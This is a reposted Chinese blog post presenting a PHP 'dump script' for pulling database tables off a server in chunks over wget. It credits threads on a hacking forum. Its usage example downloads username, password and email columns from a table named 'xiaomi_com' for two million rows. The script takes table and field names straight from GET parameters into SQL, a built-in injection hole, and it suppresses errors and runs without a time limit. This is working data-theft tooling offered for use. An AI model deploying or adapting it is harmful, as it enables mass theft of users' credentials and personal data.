zoukankan      html  css  js  c++  java
  • PHP wget 增强*脚本(PDO MYSQL)

    脚本参考了 LCX Gavin2位前辈的帖子.在此表示非常的感谢.

                    https://www.t00ls.net/thread-26740-1-1.html

                    https://www.t00ls.net/thread-26791-1-1.html

    说明:脚本支持PDO和MYSQL 2种方式 优先使用PDO .如果服务器不支持PDO  就选择MYSQL 方式. 个人认为  PDO 的好处有效率高  代码简洁 通用性好  这代码稍作改动就可以拿去脱mssql

    不过用php和mssql组合的应该不多- -!

         使用方法  首先要脚本中配置好主机地址 端口 数据库名称 用户名  密码 以及数据库的编码方式(常用GPK 或者UTF8 设置不对中文字段可能会出现乱码);

                      然后就是构造wget的url地址:参数由$_GET传递到服务器

                                          t=                          //必须 表名 否则程序会退出

                                          f=                        //可选   需要脱的字段 通过英文逗号分割

                                          s=                       //可选  起始位置  如未设置从0开始

                                          e=                      //可选   结束位置  如果未设置为全部数据

                                          l=                         //可选 分段长度  默认设置为5000

    在shell终端下执行 wget "http://localhost/getsql.php?t='xiaomi_com'&f=username,password,email&s=0&e=2000000$l=5000" -O data.txt 然后坐等下载

    代码:

    <?php
    //使用方法: wget "http://localhost/getsql.php?t='xiaomi_com'&f=username,password,email&s=0&e=2000000$l=5000" -O data.txt
    //借鉴了 LCX Gavin 2大前辈的脚本.
    //                LCX          [url=https://www.t00ls.net/thread-26740-1-1.html]https://www.t00ls.net/thread-26740-1-1.html[/url]
    //                Gavin [url=https://www.t00ls.net/thread-26791-1-1.html]https://www.t00ls.net/thread-26791-1-1.html[/url]
    //
    
            error_reporting(0);
            ignore_user_abort();
            set_time_limit(0);
            ob_clean();
    
            define('DB_HOST', '127.0.0.1');
            define('DB_PORT','3306');
            define('DB_NAME', 'thinkphp');
            define('DB_USER', 'root');
            define('DB_PASS', 'wanan');
            define('DB_CHAR', 'utf8');
    
            $type=class_exists('PDO')?'PDO':'MYSQL';
            $table=$_GET['t']?$_GET['t']:die('表名必须!');                                                //表名          必须 t      
            $limit_start=$_GET['s']?intval($_GET['s']):0;                                                //开始条数  可选 s 默认为0
            $limit_end=$_GET['e']?intval($_GET['e']):0;                                                        //结束条数  可选 e 默认为所有
            $limit_length=$_GET['l']?intval($_GET['l']):5000;                                        //分段条数  可选 l 默认为5000 
            $filed=$_GET['f']?$_GET['f']:'*';                                                                        //字段名         可选 f        用,分割没有则为全部字段 
    
            if($type=='PDO'){
                    $dsn='mysql:host='.DB_HOST.';port='.DB_PORT.';dbname='.DB_NAME;
                    $options = array(
                            PDO::MYSQL_ATTR_INIT_COMMAND => 'SET NAMES '.DB_CHAR,
                    ); 
                    try{
                                     $dbh = new PDO($dsn,DB_USER,DB_PASS,$options);
                    }catch (PDOException $e) {
                            die('PDO ERROR!');
                    }
                    $sql='SELECT COUNT(-1) FROM `'.$table.'`;';
                    $do=$dbh->query($sql);
                    if($do){
                            $count=$do->fetch();
                    }else{
                            die('PDO COUNT ERROR');
                    }
                    $limit_end=($limit_end)?$limit_end:$count[0];
                    $limit_end=$limit_end-$limit_start;
                    $limit_length=$limit_end>$limit_length?$limit_length:$limit_end;
                    $section=ceil($limit_end/$limit_length);
                    if (ob_get_level() == 0){
                                    ob_start();                                        
                    }else{
                                    die('PDO ERROR');
                    }
                    for($i=0;$i<$section;$i++){
                            $sql='SELECT '.$filed.' FROM  '.$table.' LIMIT '.($limit_start+1+$i*$limit_length).','.$limit_length.';';
                            $s=$dbh->query($sql);
                            $arr=$s->fetchALL(PDO::FETCH_ASSOC);
                            foreach ($arr as $value) {
                                    echo(implode('        ', $value)."
    ");
                            }
                            ob_end_flush();
                    }
    
            }else{
                    $link=mysql_connect(DB_HOST.':'.DB_PASS,DB_USER,DB_PASS);
                    if($link){
                            mysql_select_db(DB_NAME,$link);
                            mysql_query('SET NAMES '.DB_CHAR);
                            $sql='SELECT COUNT(-1) FROM `'.$table.'`;';
                            $count=mysql_fetch_array(mysql_query($sql));
                            $limit_end=($limit_end)?$limit_end:$count[0];
                            $limit_end=$limit_end-$limit_start;
                            $limit_length=$limit_end>$limit_length?$limit_length:$limit_end;
                            $section=ceil($limit_end/$limit_length);
                            if (ob_get_level() == 0){
                                    ob_start();                                        
                            }else{
                                    die('MYSQL ERROR');
                            }
                            for($i=0;$i<$section;$i++){
                                    $sql='SELECT '.$filed.' FROM  '.$table.' LIMIT '.($limit_start+1+$i*$limit_length).','.$limit_length.';';
                                    $a=mysql_query($sql);
                                    if($b=mysql_fetch_row($a)){
                                            do{
                                                    echo(implode('        ', $b)."
    ");
                                            }while($b=mysql_fetch_row($a));
                                    }
                                    ob_end_flush();
                            }
                    }else{
                            die('MYSQL ERROR!');
                    }
    
            }
            
    
            ?>
  • 相关阅读:
    HD200703
    并查集——合作网络D306
    并查集——易爆物D305
    NOIP初赛知识点
    离散化
    wsl2启动时无法添加自启动和加载环境变量的解决办法
    wsl2上用docker部署运行环境,mvn构建镜像找不到dockerhost
    docker 创建自己的镜像仓库
    单机多容器管理(已转k8s工具,仅参考) docker compose简介+使用+遇到的坑
    ubuntu下载安装jdk+maven,配置ssh
  • 原文地址:https://www.cnblogs.com/hookjoy/p/3801695.html
Copyright © 2011-2022 走看看